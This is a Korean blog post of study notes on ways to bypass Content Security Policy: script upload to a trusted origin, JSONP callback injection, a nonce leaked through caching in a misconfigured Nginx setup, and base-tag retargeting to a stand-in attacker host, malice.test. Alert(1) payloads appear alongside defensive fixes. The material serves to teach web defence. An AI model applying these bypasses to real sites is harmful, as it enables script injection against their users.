1. 서론
CSP는
XSS를 방어하기 위한
훌륭한 방어책이다.
하지만
올바르게 설정하지 않으면
이를 우회할 수 있는 방법들이 존재한다.
2. CSP 우회
2-1 신뢰하는 도메인 업로드
만약 해당 출처가
파일 업로드 및 다운로드 기능을 제공한다면,
공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤
다운로드 경로로 웹 페이지에
자원을 포함시킬 수 있다.
Figure 1. 외부 자원 업로드 예시
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>
2-2 JSONP API
만약 CSP에서 허용한 출처가
JSONP API를 지원한다면,
callback 파라미터에
원하는 스크립트를 삽입하여
공격이 가능하다.
예를 들어,
*.google.com에서 온 출처만 허용한다고 가정하면
구글에서 JSONP API를 지원하느 서버를 찾아
callback에 원하는 스크립트를 삽입할 수 있다.
Figure 2. JSONP API의 예 - Google Accounts 서비스
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
JSONP API를 제공하는 서비스는
콜백 이름에 식별자를 제외한 문자를 거부함으로써
추가적으로 방어할 수 있다.
그러나 JSONP API보다는
CORS를 지원하는 API를 사용하는 것이 좋다.
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API 결과:
// API callback
alert(1);({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
"status": "INVALID_ARGUMENT"
}
}
);
-->
2-3 nonce 예측 가능
CSP의 nonce를 이용하면
따로 도메인이나 해시 등을 지정하지 않아도
공격자가 예측할 수 없는 nonce 값이
태그 속성에 존재할 것을 요구함으로써
XSS 공격을 방어할 수 있다.
nonce값은
공격자가 에측할 수 없는 값이어야 한다.
nonce를 사용할 때에는
nonce 값을 담고있는
HTTP 헤더 또는 meta 태그가
캐싱되지 않는지 주의해야 한다.
PHP나 CGI 계열 스크립팅을 사용할 때에는
스크립트들이 index.php/style.css 처럼
뒤에 추가적인 경로를 붙여
접근될 수 있기 때문에
특히 주의해야 한다.
만약 캐시 서버가
확장자를 기반으로 캐시 여부를 판단한다면
.css는 정적 파일이므로
동적 콘텐츠로 판단하지 않아
캐시에 저장할 수 있다.
이 경우에
캐시가 만료될 때까지 요청시마다
같은 nonce가 돌아오기 때문에
공격자는 이를 바탕으로
nonce를 획득할 수 있다.
nonce 값은 보안 상
안전한 의사 난수 생성기(CSPRNG)를
사용하는 것이 좋다.
Figure 4. Nginx와 php-fpm의 예시
location ~ \.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
Figure 5. fastcgi-php.config의 내용 일부
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
이와 같은 Nginx의 설정을 갖고 있을 때
/dom_xss_vulnerable.php/style.css의 주소로 접근하면
dom_xss_vulnerable 파일이 실행되어
nonce가 <meta http-equiv="Content-Security-Policy" contents="...nonce...">
태그로 출력된다.
CDN은 보통
CSS 또는 스크립트 등
정적 파일을 캐싱하기 때문에
meta 태그로 출력된
nonce 또한 같이 캐싱된다.
따라서 DOM XSS에 취약한 페이지의
nonce 값이 고정되어 공격자는
아래와 같은 마크업을 이용할 수 있다.
<script nonce="{고정된 nonce 값}">alert(1);</script>
Figure 5. fastcgi-php.conf의 내용 일부
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
PATH_INFO 기능을 사용하지 않는 경우
해당 설정은 location ~ \.php$ 처럼
URL의 끝 부분이 .php일때만
FastCGI로 넘어가게 수정되어야 한다.
또한
URL에 /a/b.php/c/d.php와 같이
.php가 중복 사용될 때를 대비하여
fastcgi-php.conf 스니펫을 사용하지 않고
다음과 같이 변경되어야 한다.
Figure 6. php 중복 방지 예시
location ~ \.php$ {
try_files $uri =404;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
2-4 base uri 미지정
HTML 하이퍼링크에서
호스트 주소 없이 경로를 지정하면
브라우저는 현재 문서를 기준으로
주소를 해석한다.
HTML <base> 태그는
경로가 해석되는 기준점을
변경할 수 있도록 하며,
<a>, <form> 등의
target 속성의 기본 값을 지정하도록 한다.
만일
<base href="https://malice.test/xss-proxy/">와 같은
마크업을 삽입하게 된다면,
추후 상대 경로를 사용하는 URL들은
공격자의 서버에 자원을 가리키게 되어
공격자는 이를 통해
임의의 스크립트 등을 삽입할 수 있다.
Figure 7. base 태그의 URL 제한
Content-Security-Policy: base-uri 'none'
만약 페이지에
임의 마크업을 삽입할 수 있는 취약점이 있지만,
nonce CSP구문으로 인해
스크립트를 삽입할 수 없다고 가정합니다.
이 때,
base-url CSP 구문을 지정하지 않은 경우
base 태그를 이용하여
임의 자원을 로드할 수 있다.
Nonce retargeting이라고 부름
Figure 8. base태그를 이용한 임의 자원 업로드
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
<!-- jquery.js는 base 태그에 의해 https://malice.test/jquery.js를 가리킵니다. -->
base-uri 지시문을 임의로 지정하지 않은 이상
default 초기 값이 존재하지 않는다.
따라서 웹 서비스를 개발할 때에는
반드시 base-uri 지시문을 정의해주어야 한다.
'드림핵 - WHA(Client Side)' 카테고리의 다른 글
CORS Vulnerability (0) | 2023.04.17 |
---|---|
CSRF Token 오용 (0) | 2023.04.17 |
Content Security Policy (0) | 2023.04.13 |
XSS Filtering Bypass - II (0) | 2023.03.27 |
XSS Filtering Bypass - I (0) | 2023.03.27 |